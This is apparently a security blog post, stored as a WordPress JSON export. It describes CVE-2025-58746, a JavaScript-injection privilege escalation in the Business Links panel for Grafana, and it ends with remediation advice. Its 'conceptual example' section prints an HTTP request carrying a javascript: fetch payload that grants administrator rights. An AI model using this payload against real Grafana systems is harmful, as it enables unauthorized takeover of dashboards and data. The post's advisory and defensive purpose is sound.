{"id":74821,"date":"2025-09-14T13:10:29","date_gmt":"2025-09-14T13:10:29","guid":{"rendered":""},"modified":"2025-09-16T05:02:27","modified_gmt":"2025-09-16T11:02:27","slug":"cve-2025-58746-privilege-escalation-vulnerability-in-volkov-labs-business-links-panel-for-grafana","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-58746-privilege-escalation-vulnerability-in-volkov-labs-business-links-panel-for-grafana\/","title":{"rendered":"<strong>CVE-2025-58746: Privilege Escalation Vulnerability in Volkov Labs Business Links Panel for Grafana<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In this post, we discuss the recent discovery of a critical vulnerability in the Volkov Labs Business Links panel for Grafana. This vulnerability, identified as CVE-2025-58746, can allow a malicious actor with Editor privileges to escalate their privileges to Administrator, thus potentially compromising the entire system or leading to data leakage. This vulnerability is particularly concerning because of the popularity of Grafana as a data visualization and monitoring tool across different industries.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-58746<br \/>\nSeverity: Critical (CVSS: 9.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Editor Level)<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-45134-critical-vulnerability-in-mahara-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"82982\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1037821022\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Volkov Labs Business Links panel for Grafana | <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46715-kernel-pointer-vulnerability-in-sandboxie-versions-prior-to-1-15-12\/\"  data-wpil-monitor-id=\"82758\">Versions prior<\/a> to 2.4.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8418-arbitrary-plugin-installation-vulnerability-in-b-slider-gutenberg-slider-block-for-wp-plugin\/\"  data-wpil-monitor-id=\"82544\">vulnerability resides in the plugin&#8217;s<\/a> [Layout] \u2192 [Link] \u2192 [URL] field. An attacker with editor privileges can inject <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50706-critical-arbitrary-code-execution-vulnerability-in-thinkphp-v-5-1\/\"  data-wpil-monitor-id=\"82351\">arbitrary JavaScript code<\/a> into this field. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43550-arbitrary-code-execution-vulnerability-in-acrobat-reader\/\"  data-wpil-monitor-id=\"82364\">code can subsequently be executed<\/a> to escalate the attacker&#8217;s privileges to an administrator level, thereby allowing the attacker to perform arbitrary administrative actions. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9253-stack-based-buffer-overflow-on-linksys-wi-fi-range-extenders-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"84246\">lead to system<\/a> compromise or data leakage if exploited successfully.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1251587865\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>While we won&#8217;t provide an exact malicious payload, a conceptual example of exploiting this vulnerability might look something like this:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/api\/dashboards\/db HTTP\/1.1\nHost: grafana-instance.com\nContent-Type: application\/json\nAuthorization: Bearer {editor&#039;s api key}\n{\n&quot;dashboard&quot;: {\n&quot;id&quot;: null,\n&quot;title&quot;: &quot;Malicious Dashboard&quot;,\n&quot;panels&quot;: [\n{\n&quot;type&quot;: &quot;business-links&quot;,\n&quot;gridPos&quot;: {&quot;x&quot;: 0, &quot;y&quot;: 0, &quot;w&quot;: 24, &quot;h&quot;: 8},\n&quot;options&quot;: {\n&quot;links&quot;: [\n{\n&quot;title&quot;: &quot;Malicious Link&quot;,\n&quot;url&quot;: &quot;javascript:fetch(&#039;\/api\/admin\/users\/1\/permissions&#039;, {method: &#039;POST&#039;, body: JSON.stringify({isAdmin: true}), headers: {&#039;Content-Type&#039;: &#039;application\/json&#039;}})&quot;\n}\n]\n}\n}\n]\n}\n}<\/code><\/pre>\n<p>In this conceptual example, the attacker is creating a new dashboard with a link that, when clicked, sends a request to the Grafana API to elevate the user&#8217;s permissions to administrator level.<\/p>\n<p><strong>Remediation<\/strong><\/p>\n<p>Users are advised to update to the newest version (2.4.0 or later) of the Volkov Labs Business Links plugin for Grafana as it contains a fix for this issue. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and prevent the exploitation of this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In this post, we discuss the recent discovery of a critical vulnerability in the Volkov Labs Business Links panel for Grafana. This vulnerability, identified as CVE-2025-58746, can allow a malicious actor with Editor privileges to escalate their privileges to Administrator, thus potentially compromising the entire system or leading to data leakage. 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